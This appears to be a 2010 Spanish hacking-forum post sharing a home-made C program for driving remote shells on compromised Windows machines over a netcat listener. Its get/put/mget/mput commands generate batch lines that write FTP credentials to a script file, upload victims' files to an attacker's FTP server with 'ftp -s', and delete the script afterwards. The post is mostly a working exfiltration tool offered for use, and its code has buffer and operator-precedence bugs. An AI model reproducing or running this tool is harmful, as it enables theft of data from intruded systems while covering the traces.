Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - demersseman

#1
Hacking / Interfaz Shell remota
18 Octubre 2010, 13:55 PM
Hola a todos!
soy nuevo aqui, aunque os llevo leyendo muucho tiempo, para estrenarme os pongo un programilla de cosecha propia xD

El problema se me planteo cuando conseguí mis primeras shell de pcs bajo windows, dices vale, ya tengo la shell, pero ahora como me bajo ese fichero??
Las soluciones son varias, pero si te decantas por usar el ftp de la maquina remota, puede ser muy laborioso. Así que la misión de este programa en C es automatizar el proceso.
El programa  lee de la entrada estandar, y manda a la shell remota por un pipe, por ejemplo, si usamos netcat:

interfaz | nc -l -p puerto -vv

el progamilla lee de la entrada estanar y lo envia a nc tal cual, escepto los comando reservados, que son:
get fichero
put fichero
mget ficheros
mput ficheros
(mget y mput se pueden usar por ejemplo así: mget *.jpg)

ya os podeis imaginar que hacen esos comandos xD
No lo he probado en guidous pero en Linux va de lujo jeje

el código es criticable jaja, pero me salió asi:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

main(){
    char buffer[100], rutaa[50]="c:\\system.txt", fichero[50];
    int i, fd[2];
    char user[]="usuario", pass[]="contraseña", ip[]="ftp donde vamos a subir los ficheros";
   
    pipe(fd);

    for(;;){
        if(i=fork()==0){
            close(fd[0]);
            bzero(buffer, sizeof(buffer));
            bzero(fichero, sizeof(fichero));   
            fgets(buffer,101, stdin);
            if(buffer[0]=='g' && buffer[1]=='e' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho put %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='g' && buffer[2]=='e' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mput %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='p' && buffer[1]=='u' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho get %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='p' && buffer[2]=='u' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mget %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else{
                printf("%s",buffer);
                write(fd[1], "", 1);
                close(fd[1]);
                exit(0);
            }
        }else{
        read(fd[0], NULL, 1);
        wait(NULL);
        }
    }
}



Espero que a alguien le sirva

Saludos